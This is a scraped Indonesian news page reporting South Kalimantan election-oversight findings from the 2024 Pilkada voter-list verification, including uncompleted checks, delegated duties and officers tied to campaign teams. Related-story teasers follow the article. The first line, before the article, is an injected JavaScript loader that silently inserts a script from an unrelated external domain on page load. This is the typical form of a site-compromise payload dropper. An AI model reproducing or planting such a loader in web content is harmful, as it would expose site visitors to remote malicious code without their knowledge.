(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Tahapan Pencocokan dan Penelitian (Coklit) Pemilihan Kepala Daerah (Pikada) serentak 2024 telah selesai. Selama sebulan, Petugas Pemutakhiran Data Pemilih (Pantarlih) ke rumah-rumah menemui pemilih yang termasuk dalam Daftar Pemilih Sementara (DPS).
Meski secara umum proses coklit di Kalimantan Selatan (Kalsel) berjalan lancar, namun terdapat catatan temuan dari pengawasan yang dilakukan jajaran Badan Pengawas Pemilihan Umum (Bawaslu).
Berdasarkan data yang dirilis Bawaslu Kalsel Minggu (29/7/2024) tentang pengawasan hasil pencocokan dan penelitian di Provinsi Kalsel, Bawaslu menemukan masih ada kepala keluarga yang belum dicoklit tetapi ditempel stiker tanda selesai coklit. Temuan Bawaslu Kalsel jumlahnya 9 keluarga, di Kabupaten Kotabaru 7 dan 2 sisa di Tabalong.
Baca juga: Bermalam di IKN, Jokowi Mengaku Tak Tidur Nyenyak
Kemudian, ada keluarga yang sudah dicoklit tetapi tidak ditempel stiker, jumlahnya pun cukup banyak yaitu 55 kepala keluarga. Sebarannya, Hulu Sungai Utara 13 kepala keluarga, Banjarbaru 11, Tabalong 11, Hulu Sungai Selatan 8, Kotabaru 7, Tanah Laut 4, dan 1 kepala keluarga di Balangan.
Pantarlih yang melimpahkan tugas mencoklit kepada orang lain ada 6 orang di Kotabaru, dan Pantarlih yang tidak mencoklit secara langsung ada 1 orang di Balangan.
Masih dari laporan Bawaslu Kalsel, di lapangan juga menemukan Pantarlih atau petugas coklit yang terbukti sebagai anggota pengurus parpol tim kampanye tim pemenangan Pemilu. Ditemukan ada 14 orang Pantarlih, di Kotabaru 13 orang dan Hulu Sungai Selatan 1 orang.
Baca juga: Peserta Sekolah Gratis Bekam Jalani Magang di Pondok Herba
Temuan lain Bawaslu Kalsel selama proses pengawasan Coklit tersebut dibenarkan oleh Anggota Bawaslu Kalsel Thessa Aji Budioni.
Bawaslu Kalsel beserta jajaran di daerah telah melayangkan berupa imbauan, saran perbaikan, maupun rekomendasi kepada KPU maupun penyelenggara di tingkat ad hoc selama proses berlangsung coklit maupun terhadap temuan tersebut.
“Sudah disampaikan saran perbaikan oleh Bawaslu Kabupaten Kota setempat,” kata Thessa, Senin (29/7/2024) siang.
Baca juga: Pengawasan Partisipatif Masyarakat Pilkada 2024, Mata dan Telinga Laporkan Dugaan Pelanggaran
Sekadar diketahui, proses coklit Pilkada 2024 berlangsung selama satu bulan sejak tanggal 24 Juni sampai 24 Juli 2024.
Di Kalsel, Pantarlih yang berjumlah 11.455 orang bertugas mendata pemilih rumah ke rumah yang tersebar di 2.016 kelurahan desa pada 156 kecamatan, 13 kabupaten kota se Kalsel. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin resmi melantik dan mengambil sumpah janji… Read More
KANALKALIMANTAN.COM - Menyambut akhir tahun yang penuh keseruan dan momen spesial bersama keluarga dan teman… Read More
KANALKALIMANTAN.COM - Ajang pencarian bakat Dangdut Mania Dadakan (DMD) Panggung Rezeki selalu memberikan warna baru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kebakaran permukiman penduduk di Jalan Barito Hulu, Kelurahan Pelambuan, Kecamatan Banjarmasin Barat,… Read More
This website uses cookies.